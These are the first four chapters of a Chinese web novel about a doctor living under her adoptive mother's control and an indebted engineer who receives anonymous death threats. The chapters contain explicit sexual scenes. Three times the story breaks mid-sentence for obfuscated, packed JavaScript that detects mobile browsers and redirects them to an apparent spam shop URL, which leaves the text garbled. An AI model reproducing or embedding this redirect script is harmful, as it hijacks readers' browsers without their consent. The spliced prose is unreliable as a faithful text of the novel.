《一无所有》 1. 第 1 章 教室里非常热,空调坏了,只剩几台风扇运转。吹出来的热风糊人一脸,底下睡意更浓。 幸好,离下课只剩十分钟。 颜简初站在讲台上,手里拿着麦克风,讲述完最后一个知识点:“肝硬化的治疗一般不会考大题,大家了解即可。” PPT放映完退出全屏,座位上的人如释重负,终于活了过来,睁大眼睛、挺直腰板问:“老师,消化系统可以给我们划个重点吗?” 时间还有五分钟,颜简初答应下来,书本往前翻,把常考知识点又顺了一遍。 铃声准时响起,颜简初拖了几分钟宣布下课,一个长发女生提了瓶奶茶放在讲台,推向她:“老师,秋天第一杯奶茶,这是我们的一点心意。” 颜简初捕捉到两个字,才反应过来,今天是白露。 她推辞一番,对方却格外坚持,说同学都很喜欢她,希望她能收下。 颜简初没办法拒绝。 下班后颜简初打车去商场,前天看中一条丝巾很衬颜丽霞,服务员说最后一件提前被人预定,等下一批到了再给她电话。 走到柜台,服务员把礼盒交给她,颜简初打开检查一遍,道谢离开。商场出口有家手表店,玻璃墙上的海报换了又换,颜简初盯着logo上的飞翼和沙漏,几番挣扎,还是打算进去看一眼。 透明玻璃柜里摆了很多款式,她看中一款男士机械表,黑色表盘,精钢表圈,她想象着吴宇宗戴上,他的手很大,一定很好看。这块表很适合他。 不对,这表就应该为他而制,这样极端的想法驱动她花钱占有。 出门斜对面有一家面馆,颜简初把几个礼品袋放包里,往那个方向走。 尽管到了白露,夏季迟迟不肯退出,气温依旧居高,空气中弥散一股低沉气息,乌云蒙住了阳光,把气压拉得更低,是要降雨的征兆。 店里只剩最后一桌空位,颜简初坐位置上点餐,头两侧隐隐作痛,一个下午都没有缓解的迹象,反而更严重了。她闭眼揉按太阳穴,过了五分钟,桌对面传出一点声音,睁开眼,一个陌生男人正坐在她对面。 他指了指座位,问能不能拼桌。 颜简初点头。 等餐期间无聊,颜简初默默观察四周,视线最后落在对面,那个男人正低头看手机,白衬衫黑西裤,这身穿扮,颜简初觉得也不过如此,不理解隔壁为何频频投来目光。 服务员把餐盘放下,上面摆了两碗一样的面,另一碗放在对面。 颜简初挑挑眉,拿起筷子默默吃面。 头依旧很痛。 她的心情与外面的气压同频,面只吃一半就没了胃口,筷子在菜叶上戳了戳,目光又一次投向对面。那个人没看手机,衬衫袖口挽起两道,领口的扣子解了两颗露出半截锁骨,喉结随着他吞咽动作上下移动,牵动侧下方一颗黑色小痣。 那截脖颈看起来仿佛能感受到底下脉搏跳动的热度,惹人无端遐想,指尖抚过那凸起的喉结会是何种触感,麦色皮肤留下一圈牙印又会怎样,他会反抗吗…… 手里的筷子快要被她折断,对方像察觉了什么,不经意抬眸,两道视线撞到了一起,颜简初很自然地移开。 真是生了张让人想使坏的皮囊。颜简初索性放下筷子,提包离开。 酝酿了一下午的雨终于降落,刚开始只是几滴,转瞬间变成瓢泼大雨,地面上热气升腾,夹杂着这座城市的气息,一股腥臭的味道,同远处高耸的建筑一齐逐渐模糊。 水位线上升淹没一级台阶,紧接广告牌被吹翻好几个,颜简初站在玻璃门后面,看着地上一圈又一圈的波纹。 雨声掩盖人群的嘈杂,又被城市的喧嚣吞噬。这场雨慢慢地退出了舞台。 颜简走到门口,时不时拿出手机,犹豫要不要往旁边走一点。 “如果你需要伞,这把可以借你。” 一道陌生的声音将她拉回现实,她转头,看见刚才那个男人。 正当颜简初思考该如何拒绝,那人直接把伞放她手里,独自走去台阶尽头,他站在角落,脱下鞋袜装进塑料袋,那是面馆的包装袋,然后只见他挽起裤脚跑进雨里。 雨水很快打湿衬衫,紧贴皮肤,勾勒几道好看的线条,可颜简初印象最深的还是那截性感的脖颈。 她低头看着手中的黑伞,折得整齐,只是顶端已经磨损,颜简初纠结该怎么处理这把伞。 颜简初并不认为这是雨后甘露,恰恰相反,她只觉得那人多此一举,害她徒增烦恼。 此时,手机显示司机到达上车点。 她工作后比较少回家,但颜丽霞管得紧,每周总要回去一趟。 推开门,沙发坐了两个人。颜丽霞正在泡茶,吴宇宗端正坐对面,正巧看见玄关。 客厅没有多余的声音,颜简初叫了句妈妈,然后才向吴宇宗打招呼:“师兄,你也在。” 吴宇宗看了眼颜丽霞,说:“我来给老师送材料,刚才下大雨,老师留我坐一会儿。”他停顿几秒,打量她,“你衣服都淋湿了。” 颜丽霞滤好一壶新茶,将目光转向她:“你快去洗澡,别感冒了。” 颜简初点头说好。 端起茶杯时,颜丽霞瞥见她手里的雨伞,又将杯子放下,蹙眉问:“那东西哪来的?” “同事借的,”颜简初解释,“我没带伞。” 颜丽霞转头看了看窗外,没再说什么,继而告诉吴宇宗,“小吴,雨停了,时间也差不多了。” 吴宇宗瞬间明白意思,喝完杯里最后的茶,起身道别。 颜简初看着他从身边经过,内心犹豫不绝,在门关上那一刻,最终下了决心:“妈妈,我出去一趟。” 颜丽霞了然,命令道:“你去洗澡。” “垃圾该扔了,”颜简初拎起旁边的垃圾袋开门,“我很快回来。” 她快速跑下楼,看见吴宇宗的背影,他正在打电话,颜简初扔完垃圾站在后面,等他放下手机后才走过去:“师兄。” 吴宇宗回身,略显惊讶:“你怎么下来了?老师知道吗?” “嗯,我下来扔垃圾。”颜简初轻声说。 吴宇宗看她空着手,说:“那没别的事我就先走了,你早点上去,不然老师会担心。” 颜简初看着他的脸,指尖藏在口袋里摩挲着那个盒子:“我……” 忽地,一辆玛莎拉蒂不合时宜地停在他身后,车门打开,一个年轻的漂亮女人下来,打断了她要说的话:“宇宗。” 女人走上来揽住他的手,十指相扣,动作亲昵暧昧,女人余光瞧见她,问吴宇宗:“这位是……?” “一个朋友,”吴宇宗这么回答,“她是我导师的女儿,交材料碰巧遇见。” 女人了然地笑了笑,同她打招呼:“你好,我是宇宗女朋友。” 简短一句话在脑海反复回荡,虽然已经猜到,但揭开真相的那刻总会带点血腥。 在颜简初看来,这是某种告知,或是警告。 “你好。”颜简初也笑着回应,指尖攥紧了盒子,“恭喜呀。” “谢谢。”女人贴着吴宇宗肩膀回话。 分别后,颜简初原路返回,偶尔回头看一眼,他们的身影早已不见。 颜简初后知后觉地走进了楼梯间,连走四楼台阶累得喘气冒汗才反应过来,她明明可以乘电梯上楼。 口袋里的手机震了两下,她解锁看见吴宇宗发来消息,五分钟前: 「一直想告诉你,但没找到合适的机会,谢谢你的祝福」 「今天老师又来提醒我了,你也知道,我博士三年就是为了那张毕业证,我一直把你当妹妹,希望你也跟老师解释清楚」 「我知道,你向来善解人意」 颜简初平复情绪,在键盘上打字:「你是妈妈最看重的学生,她一定不会为难你的」 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126119|196085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >颜简初后半段搭了电梯,推开门听见颜丽霞盘问:“那块表什么时候买的?” 颜简初一愣,涌上强烈的心虚:“你……都知道了?” “你把那东西放兜里我就猜到了,”颜丽霞淡淡地看她,“我说过若再发现你有歪心思,我不介意损失一个得意门生。” 颜丽霞语气很平静,像山雨来临前的预兆,让颜简初感到恐慌:“他有女朋友了,我不会再有其他想法,你放心吧。” “你知道他女朋友是谁吗?”颜丽霞问她。 颜简初低着头,她不想知道。 颜丽霞把茶叶倒进垃圾桶:“那人是药企老板的女儿,在这个节骨眼能搭上这样的东风,你觉得他纯粹是运气好?” “不觉得这个情节似曾相识吗?” 当年吴宇宗刚考入颜丽霞的博士生,各方面在同门都不算特别突出,颜丽霞收他也是看中了他身上的那股劲,肯吃苦、不服输,但这股劲用错了地方,就很容易变成歪门邪道。 与颜简初的偶然相识让他尝到了走捷径的甜头,吴宇宗也明白一个道理,很多事情光靠努力是不够的,在某些方面,甚至不值一提。 “妈妈这么做都是为你好。”颜丽霞真心说,“那个人不过是下一个你。” 颜简初感觉口腔比吃了青柿子还涩:“妈妈,今天这件事错在我,我不该抱有期待,不该不听你的话,我不会再找他了,你就留一丝情分吧。” “可以。”颜丽霞做出最后的退步,“但是你也别忘了今天的承诺。 “你一向很听话的。” 颜简初松了盒子,对她说:“我知道了,妈妈。” 颜简初把丝巾礼盒交给她,默默走回房间。 晚上又下雨了,水珠敲打玻璃窗,噼里啪啦,像一场猛烈的哭泣,在玻璃上留下数不清的泪痕。 雨势越来越大,天气预报说还会持续半个小时。 颜简初躺在床上,翻来覆去睡不着。她经常这样,因压力太大而失眠。 成为颜简初以来,她永远在为别人而活。 真正的颜简初早就死了,因为颜丽霞的疏忽溺水而死,听说那年颜简初才五岁,跟她同龄。也正因此,她才比别人多了点机会离开福利院。 自从来到这个家,每天醒来,她都要戴上一张无形的面具,伪装善良,假装乖巧,扮演聪慧,颜丽霞说她的简初应该是这样的。慢慢地,面具嵌入她的皮肉与骨血融合,让她再也无法摘下。 只有锁上门,在这一方昏暗天地里,才是她真正的自己。 冰凉的感觉顺着她手掌方向在全身游走,激起一阵瑟缩,随即又燃起一簇簇火苗,烧灼她的肌肤,泛起一圈圈红晕。她把东西放在腿间,摸到枕旁的手机,在小程序上调整温度和频率,冷热交织,手机没拿稳摔在地上,黑暗的房间里只有这么点光亮,随即锁屏熄灭。 颜简初逐步适应后,她抽出枕头压在脸上,双击按钮让她忍不住绷紧身体,抓紧枕套的布料,一只手贴着海面把这场海浪卷得更高。 那一刻,她好像坐上了一叶扁舟,行驶在茫茫的大海中,月光撒在湖面上,只照亮了周围,前路依旧无边无际,她迫切需要一个支点。 下午那个男人非常冒昧地闯入了她的浮想。他的手臂结实而有力,她渴望那只手打破这片平静的海面,掀起阵阵波浪,水花落在肌肤形成细密的汗水,她亲吻他脖颈每一寸肌肤,轻咬他的喉结,以及在那颗小痣周围留下一圈淡色牙印,她想要破坏和征服,想亲眼看他的反应,最后吻上他的唇。 一切结束后,雨已经没了声音。 颜简初头脑清晰地回顾同吴宇宗的过往,她得出结论,或许自己并不爱他。 只不过他的关心让她感受到了几分温暖,这恰巧是她一直渴求的东西,误以为自己找到了,便想要守护,想把全世界献出,企图把他栓久一点。 可她对吴宇宗没有欲望。 2. 第 2 章 从面馆离开,杨楚白坐了三十分钟公交车,步行十五分钟才到目的地。 公寓旁的施工因降雨而暂停,算是难得的清静。 这里远离市区,房租是他所有选择里最便宜的,所谓价值决定价格,这座公寓年龄比他还大五岁,外观望去像烟鬼的肺脏,每天吸食着旁边垃圾场的臭气。 政府打算在这里新建一座大型医院,以优化城市的医疗系统,据说打算拆了这座公寓腾地,但通知一直没下来,这件事暂时也就没那么重要。 下午雨水太猛,排水系统难以承受,积水满了上来,差点淹进一楼,幸好这一层都不外租。 杨楚白趟水走过去,泥沙贴在脚踝又被冲落,一只褐色大鼠从沟里窜出来,嘴里叼了块脏肉,同他对视一眼,飞速逃窜。 房间在二楼,大概三十平的空间,外面带有阳台。他洗完脚,把皮鞋从塑料袋里拿出来,这是他最贵的一双鞋,跟墙上挂的西装配套,构成了他所有的体面。 随手抓两件衣服走进浴室,水龙头开在中间的位置,他稍稍左旋,又往右转,好不容易才调整到合适水温。 水汽蒸腾,杨楚白单手撑墙,一切都变得模糊。淋浴声掩盖他的声息,他不自禁加快了速度。他很少有这样强烈的念头,只是想到下午那个女人,他做的一切思想又前功尽弃。 她太美好了,好得让人深陷淤泥。 想要拨开裙尾下的层层面纱,撕碎,占据,为己有。 杨楚白看见她第一眼就隐隐有了这种念头,他向来懂得克制,毕竟他就像那只阴沟里的老鼠,这些都不是他该肖想的。 只是她最后走得急,杨楚白反复回想每个细节,仍不确定是不是自己吓到了她。 肮脏的液体随着水流涌入下水道,成功压制了他那丝污浊的念头。 洗漱完毕,本该休息,可吴永胜不停发消息催促进度,杨楚白只好把架构图和技术选型设计整理成压缩包发送。 上一任经理因妊娠暂时离岗,吴永胜接任刚满一个月,不仅会做花里胡哨的PPT,还有一副看碟下饭的嘴脸,这个项目就是吴永胜凭其本事争取来的,最后落地却压到他们小组。 看对方回复OK手势,杨楚白合上电脑,早已精疲力尽。 公寓隔音很差。刚闭眼没多久,楼上传出一阵锅碗瓢盆的碰撞声,杨楚白心想,又开始了。 楼上住的是个女人,猜不到年龄,只觉得年轻成熟。她应该也是独居,晚上经常带男人回家,他没见过,但艳色内衣旁总挂着几件男士内裤,到半夜三更发出些咿咿呀呀的叫声,女声居多且有很大的表演成分。男人没多久泄了气,仍叫女人把腿抬高,骂了几句脏话,紧接又是清脆的巴掌声,女人想哭,男人让她闭嘴,却又嫌她没给情绪价值。 周围弥漫着一股腐烂的气息,杨楚白关紧窗户,戴上耳塞睡觉。 第二天是周末,阳光从玻璃窗透进来,照亮了一片矩形的尘埃,在空气中缓缓沉浮。 杨楚白打开水龙头没水,走到床边拿手机,房东凌晨三点半在群聊发通知:「紧急。今天施工,公寓停水一天,时间为6:00——18:00微笑玫瑰玫瑰」 幸好昨天晚上烧了一壶开水。洗漱完的废水怎么都下不去,杨楚白用衣架勾了几分钟仍不见效,白色泡沫在瓷砖上打转,下水道不通已经不是第一天,之前为了节省修理费一直将就着,但现在是完全堵了。杨楚白想在手机上找个维修工,最终被价格劝退,搜了几个教程,用塑料袋和水瓶成功疏通。 时间又过去半小时。许原安昨天电话说在住院切息肉,他想过去看看,正好去趟银行。前两天发了工资和奖金,加起来三万多,上个月还有余额,他照常转两万出去。 阳台晒衣服时,台面上多了件红色胸衣。公寓好几户都住着女性,他不知道谁才是主人,思来想去还是在群聊问:「谁的内衣掉203阳台了?」 没多久,303冒泡:「我的」 杨楚白挑了个过得去的袋子把胸衣装起来,出门顺便上楼,挂在门把手上,他正准备回复,门从里面打开,一张精致的面孔出现在眼前,对方看一眼把手,朝他抛了个笑:“多谢。” 杨楚白目光转向别处:“没事”。 对方拿起袋子,问他要不要进去坐坐,杨楚白说不用,“我还有事要处理,先走了。” 女人说,那好吧。 / 颜简初到医院时,办公室没人,在电脑开机的空档,她拿起桌上的馒头继续吃。 “简初,今天来这么早。” 颜简初看见陈国庆走进来,手里提了袋早餐:“陈老师也很早啊。” 陈国庆坐下转了圈:“我昨天值班。” “噢,”颜简初才想起来,笑了笑,“不好意思,我忘了。” “你最近怎么经常忘事,”陈国庆盯着她,“是不是太累了?” “可能吧。”颜简初也有感觉,这几天还经常头痛。 “找个男朋友谈谈。”陈国庆半玩笑说,以过来人的经验。 颜简初洗完手,坐回靠椅继续看病历,说顺其自然。 陈国庆说也是,然后拿出手机跟妻子打了通电话。 同事陆续上班,都在讨论昨天那场暴雨。 “我下班回家被淋了一身。” “听说隔壁市医院门口的石狮子都浮起来了。” 隔壁的同事拉她讲话:“昨天接我儿子,还好去得早,不然肯定要困在补习班。” “大学城那边怎么样?是不是也被淹了?” 颜简初拉开抽屉找笔,看见一把黑伞,缓缓说:“是挺大的。” 时间到了八点,大家走到隔壁教室交班,主任在最后又交代了几句,主要围绕工作和科研,最后提到考勤时特地看了眼江质北。 交班结束,大家又陆续回到办公室,尽管江质北迟到已经是常态,大家依旧忍不住调侃这位公子哥,家里做医疗器械的,居然想不开来医院做牛马,回去继承家产不是更好。而且还不屑依靠家里半点关系,硬是凭实力进入三甲,这也让人琢磨不透。 每次谈到相关话题,江质北总是淡淡地笑,说喜欢这里,所以就来了。 居然有人喜欢医院,这更让人匪夷所思。 “所以你今天为什么迟到?”同事笑问他。 “堵车。”江质北说,“南桥那边有人跳江了。” “啊?”同事好奇,“怎么回事?” “一对情侣得不到家里的祝福,要学梁山伯祝英台,女生先跳了,男生看她痛苦的模样忽然觉得人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126120|196085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生美好,不敢跳了。”江质北说。 “然后呢?” “来了警车和救护车,听说那个女生死了。” 办公室的人对此唏嘘不已,几个女同事大骂渣男,“渣男!该怎么判刑?” “故意杀人。”江质北放了瓶热的抹茶牛奶在颜简初桌上,动作自然,他经常默默做这些。 同事听后面露诧色,江质北又科普了一点法律知识。 故意杀人分为直接故意杀人和间接故意杀人,这个人见死不救,属于间接性的,判的会更轻一点。 “想不到你还懂挺多。” 主任不知道什么时候进来的,颜简初在位置坐下,拿起牛奶同他笑了下。 江质北说只是略微了解,主任拍了拍他的肩,眼尾弯着笑:“今天又迟到了,怎么回事?被你爸锁家里了?” “他现在已经懒得管我了。”江质北笑说。 两人随便聊了几句,准备去查房,主任临时接到一个会议通知,转身对颜简初说:“这边先交给你,我现在去开会。” 颜简初把听诊器挂在脖颈,戴口罩说好。 江质北和颜简初是同组的,还有两个新同事一起。 “接下来是32床,结肠息肉,昨天上午手术,今天准备出院。”江质北告诉她。 “嗯,好。”江质北推开门,颜简初先走进去。 32床上是空的。但是床旁边坐了两个人,一男一女。 天底下的巧合也不过如此,其中一个人,她还见过。 江质北看了眼手上的单子,问:“许原安呢?” “在卫生间。”杨楚白看着一行人,在某个身影上多停留了两秒,正想去喊他,卫生间的门开了。 颜简初说明来意,许原安应了声,躺上床。 “有没有不舒服的症状?”颜简初问。 “还好,没什么特别的。”许原安说。 颜简初又问了些细节,戴上听诊器听肠鸣音,然后江质北拿过去听了一下。 “你上午就可以出院了,”颜简初叮嘱,“这几天要清淡饮食,不能提重物,自己注意些。” “好,”许原安应下,过了会儿问,“那我能开车吗?过减速带会不会影响?” “这个都没很大关系,但是这几天尽量避免。”颜简初顿了顿,问道,“你工作要一直开吗?” 许原安笑:“没有,我前天开车来的,今天要把车开回去。” 颜简初目光瞥向旁边,他们看起来很亲昵,难免引人遐想。 “先让家人开吧,”颜简初只看了一眼,默默移开视线,“待会有个入院手续要签字,你不要乱走。” 许原安问大概什么时间,颜简初说半小时后。 查完隔壁床号,颜简初离开病房。 / “楚白哥,你看什么呢?”许原欣顺着他的视线看过去,只有一扇关紧的门。 “没什么。”杨楚白撇开目光,注意到柜子上的水壶,想起来里面空了,于是起身说去接一壶开水。 水柱周围缠着一圈雾气,蒸腾上来模糊了他的视野,等反应过来的时候,水已经满出来了。杨楚白连忙关了按钮,等热气退却拿着水壶出去。 颜简初此时恰好从对面病房出来。 3. 第 3 章 她边走边翻看手里的材料,低着头听旁边一位男医生讲话,从他面前经过,像没看见他。 在下一个病房门口,其余人都进去了,只有她在外面停了片刻,把几张A4纸折叠放进口袋,察觉她要抬头,杨楚白下意识地往里退一步,事后才觉得莫名其妙。 他又没做什么见不得人的事。 杨楚白经过那间病房,门虚掩,地上掉了个发绳,或许是她的,毕竟刚才还没有。他站在原地,里面的交谈断断续续传出来,一番考量后,他目光转向别处,径直离开。 他不该那样越矩。 回到病房,杨楚白搭上门把手,听见熟悉的声音,在一轮对话间他又退了回去,转身背靠在墙边。 “我建议你最好断了那个想法。”许原安直白说,“你们不适合。” 许原欣不认同他的话:“你怎么知道不合适,你们总要我找个靠谱的,楚白哥是你朋友,为人处事也都有数,而且现在只是我单方面……” “所以我才让你早点断了念头。”许原安声音厉了几分。 时间像按下了短暂的暂停键,过了一会儿,他放低姿态:“你是我亲妹妹,我所有的考量都是为你好。你大学刚毕业,一切才刚刚开始,以后还会遇见更好的人,而楚白已经三十多了,身上还背着那么一大笔债,自己的生活都一片狼藉,怎么可能顾得上你。” “我根本不在乎这些,我的offer下来了,我有工资,我可以帮他还债。”许原欣很认真说。 “你以为有那么简单吗!他欠的不是几万,是几十万!”许原安的字词间明显多了怒意,只是碍于场面,尽可能的收敛,“他的私人生活你不该去踏足。” 空气中再次飘荡着安静的气息,斜对面的窗户里正放映着一场忙碌,阳光穿透玻璃,把地面切割得四分五裂,那么温暖的东西落在此刻只有刺眼和鲜血淋漓,瓷砖上明晃晃的细线就像一把锋刃,正架在他狼狈不堪的生活上,随时可能砍下来。 周围充斥着浓重的消毒水味,借以掩盖那股腐臭死亡的气息,抹去那些冰冷的痕迹。 “你为什么站在这?”颜简初拿着签字材料,不理解地看着门,又看向他,“不方便进去吗?” 杨楚白回过神,看见是她,及时调整脸上的表情说没有。 颜简初推开门走进去,把材料递给许原安,指出几个要签字的地方。杨楚白过了十秒才进去,把水壶放在柜子上,发现物品都被收拾干净,才觉得自己多此一举。 “你怎么现在才回来呀?”许原欣走到他身边,同往常那样,“接水要排队吗?” 杨楚白说嗯,“还挺多人的。” 颜简初听后余光瞥他一眼,两人视线不经意地遇上,有点心照不宣的意味。 许原欣没发现端倪:“早知道我就跟你一起去了。” 签完字,颜简初核对后拿着材料离开,门再次重掩,杨楚白心里怪怪的,他挣开许原欣的手,只说有东西落在开水间了。 颜简初回办公室路上遇见一位患者家属,杨楚白出去的时候,家属刚离开,仿佛也带走了他的冲动。 他想走,却不知道自己早已暴露。 “你还有事?”颜简初歪头看着他。 杨楚白这才意识到,自己已经走向了她。 “没有,”杨楚白佯装淡定,“我只是想来表达一下感谢。” 颜简初似乎没懂他的意思,笼统话术:“都是我们应该的,回去让患者注意休息和饮食。” 杨楚白看着她口罩外的半张脸,说:“我不是说这个,刚才你没拆穿我,多谢。” “我为什么要拆穿你呢?”颜简初这么问,看他愣了愣,又解释,“我只是去签材料的,不是吗?” 杨楚白依旧不太懂她的意思,究竟是真没听见,还是假的,如果是后者……但那个眼神显然不像。 两人就这样僵滞了几秒,不管怎样,他都觉得自己现在的行为十分不妥当,他不该这么冲动,不该这么逾矩:“不好意思,是我误会了。” “没关系。”颜简初摸了摸白大褂的口袋,微蹙眉,“我的发绳好像掉了,上面有个卡通挂件。” 她忽然没由头地问:“你有没有看见?” 杨楚白迎上她的目光,语气平静无波:“没有。” “是吗?”颜简初的嘴角弯起一个极淡的弧度,像发现了什么有趣的事。 她没再追问,只是点了点头,“好。没关系。” 她几个字说得轻缓,像一颗小石子在杨楚白心里投下几圈看不见的涟漪。 杨楚白不知道她回答的哪句话,但她说完就转身离开了,指尖隐在口袋里,轻轻摩挲着那根发绳。 杨楚白看着她的背影,洁白,纤细,就像隐藏在那张口罩之下的半张脸,让人无法看透。 杨楚白总感觉不对劲,却又说不出名堂。 查完房,颜简初坐在桌前用酒精擦拭,完全没注意到旁边的江质北:“这是第三遍了。” “嗯?”颜简初回过神,放下酒精棉片。 “你什么时候这么念旧?”江质北第一次见她这样,按理说,掉地上的小物件,她一般会直接扔掉。 颜简初顿了顿,想起刚才那人的回答,他一定很擅长说谎。 不过,她也没好到哪里。 收拾桌面把东西扔垃圾桶,她问江质北过来什么事。 “这些要你签字。”江质北把两叠病历放她桌上,还想说点什么,科室座机响起,他只好往旁走两步接通。 / “喂,你好。” 杨楚白对着手机说了好几遍都没有人回应,他看了看屏幕,是正常的电话号码。数分钟后,对方主动挂断。 “是谁啊?”许原欣坐在后面,扶着椅背问。 “我也不知道。”杨楚白转动方向盘驶出停车场。 许原欣认定是骚扰电话,叮嘱他以后千万别接,许原安坐在副驾不吭声,最后问:“经常这样吗?” “没有,”杨楚白弯唇笑,指节圈紧方向盘,“可能打错了吧。” 许原安若有所思地点点头,没再多问。 车停在小区楼下,杨楚白帮忙把后备箱的行李搬下来,在许原欣没注意的空档里,许原安拉住他,直接道:“病房的对话你都听到了吧。” 杨楚白愣了下,许原安观察他,了然:“看来是听去了。” 杨楚白这才反应过来,他在套话。 “我知道你把原欣当妹妹,我劝不动她,所以只能希望你别给她念想。” “就算你不说,我也知道的。”杨楚白弯着眼睛浅笑。 许原安反而笑不出来,面露歉意:“医院的话你别往心里去。” “我知道。”杨楚白说。 许原安还想再说些别的,许原欣走过来打断了:“楚白哥,你真的不上去坐坐吗?” “下次吧,”杨楚白推辞,“我还有点事要处理,该走了。” 许原欣建议:“那可以把车开走呀。” “我坐公交更方便。”杨楚白拒绝后原路返回,离开小区。 在站台等公交时,他拿出手机,发现多了一个未接电话,号码跟前面那通不一样。 他回拨过去,无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126121|196085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人接听。 / 杨楚白的架构方案被经理直接汇报,并声称:“这是我引领团队经过多方论证调研得出的最佳方案。”在会议上得到了总监的高度认可,大放光彩。 上次市场调研也是如此,他会做很多PPT,蹭时事热点描绘宏景蓝图,最终说服管理层立项。 “不是我说,这吃相也太难看了吧。”李梓乐和杨楚白在楼下的咖啡店排队,挨在后面小声抱不平,“他带领,他还真有脸说,没掉沟里都算我们命好。合着脏活都是我们组干,功劳全是他的呗。媛姐在的时候,我们哪受过这种气。” 李梓乐看杨楚白没反应,更着急了:“哥,你倒是说句话呀。” 杨楚白刚数完前面排了五个人,手机显示还有十分钟,但实际效率总比计划的快,大概要再等五分钟。 他视线回落,安抚道:“做好手头的任务就行,他能把项目给我们组,至少说明我们暂时安全,不是吗?” 不知道什么时候开始,吴永胜打算优化员工的传言像一阵风钻进每个人的心里。就业环境每况愈下,这无疑成了一道警铃,将胸腔那颗心脏悬了起来。 李梓乐皱起眉:“可那只是传言,刚上任就裁员,风险他能承担吗?” “也许是真的呢,”杨楚白看着他,如往常般平静,“你还记不记得他刚上任时说的三个月?” 吴永胜刚任职召开了一次临时会议,提出团队的规划建设,三个月时间,他要带领团队取得新突破,六个月,打破叶媛创下的最好成绩。 众人对此只是付之一笑,当他天马行空。经过一个月相处,更觉得是天方夜谭。 若这个“突破”是指重塑团队,那一切又变得微妙起来。 李梓乐低头思考,过了会说:“那从绩效来看,也轮不到我们啊。” “话别说太满,”杨楚白并不乐观,“评判标准取决于吴永胜怎么想。” 李梓乐听完顿时泄了气:“真踏马烦人。” 前面的人离开,队伍轮到他们,杨楚白拎起大袋咖啡,转身递给他一杯:“先别想那么多,接下来整理数据、调试模型更要紧。” 李梓乐吸了口浓缩美式,蹙起眉,表情更难看:“艹!简直比我命还苦。” 如果说完全不焦虑是不可能的,在公司,杨楚白是组长,不能表现出来。下班后,他也不过是为生活奔波劳碌的普通人,背负高额债务,为房租和三餐苦恼,家里还有两个老人需要赡养。 都说人到三十岁应该有所成就,他今年已经三十二了,仍旧一事无成,甚至面临裁员危机。 公交车窗外,天空灰蒙蒙的,远离繁华,竟只剩下了凄凉。 杨楚白拿出手机,又有一条短信通知,他解锁点进去,页面只有几个黑色小字: 你怎么还不去死。 杨楚白愣愣盯着那几个字,已经是第二次了,他退出去看了眼,是新号码。 到底有完没完。他忍不住在心里骂了两句粗话。泄愤似的在键盘上敲:你以为我不想吗? 杨楚白用力摁灭屏幕,转头盯着外面,天色又暗了几分。 活着真没意思。他长叹气,最终删了那行字。 站在家门口,走廊黑沉沉的,如死水般平静。杨楚白打开手电筒正准备开锁,发现门缝下有个白色信封,他捡起来,里面夹了张白纸,打开,一个红色的“死”字赫然显露。 他右手微微颤,一阵冷意从脚跟攀升,后背浮了层冷汗。 此时,一只手压在他左肩。 他整个人僵在原地,缓缓扭头,一张脸被手电筒照亮。 4. 第 4 章 那是张满布皱纹的脸,皮囊像一张皱缩的纸袋包裹头颅,眼睛外凸,紫褐色的嘴唇牵起弧度,正朝他笑。 看见是熟面孔,杨楚白终于松了口气,拉开手机才意识到自己可以呼吸:“杨叔,你走路怎么都没个声。” 杨叔弓着背,自觉后退半步,满脸歉意:“不好意思啊,吓到你了。”他提起手里的红色塑料袋,在杨楚白面前晃了晃,“刚买的梨,很甜,想来分你几个。”他这么说着,已经把梨放他手里。 梨很大,拿在手上颇有质感,杨楚白收下后,俯身按住杨叔胳膊:“一个就够了,剩下你留着自己吃。” 杨叔说家里没人,他吃不了这么多,硬是多塞了一个。 杨叔胳膊套在褐色麻布衣服里,像一截枯槁的木头,这种感觉一直停在手心,看着他蹒跚离去,衣服像个罩子左右摇摆,杨楚白托着两个梨,隐约比刚才又沉了些。 直到背影消失在尽头,杨楚白才开锁走回房间。找了打火机点燃信封,白色纸张烧成灰烬,扔到垃圾桶。坐在凳子上,他拿出手机给最后那个号码发送短信:请你娱乐适度,否则,我会报警。 短信发出去后,杨楚白把手机扔一旁,身体后仰靠在床边,闭着眼睛休息。 一片光亮从窗户透进来,照亮了房间一隅,远处的挖掘声早已停止,像水田一样的大坑没什么变化,施工仍在持续进行。 后来清理短信时,翻到最后一封,杨楚白停住页面。自那之后,他没再收到类似讯息,若真是被他的话唬到,那倒显得贻笑了。 点击删除,手机弹出消息,许原欣问他什么时候有空,想约着一起吃饭,庆祝她入职。 杨楚白想起那天许原安说的话,于是回复今天晚上,准备借此机会解释清楚。 桌面上立了面镜子,吴永胜悠闲地从办公室出来,杨楚白默默收起手机。他站在原地巡视一圈,左瞧瞧右看看,最后停在杨楚白身后,问他项目进度。 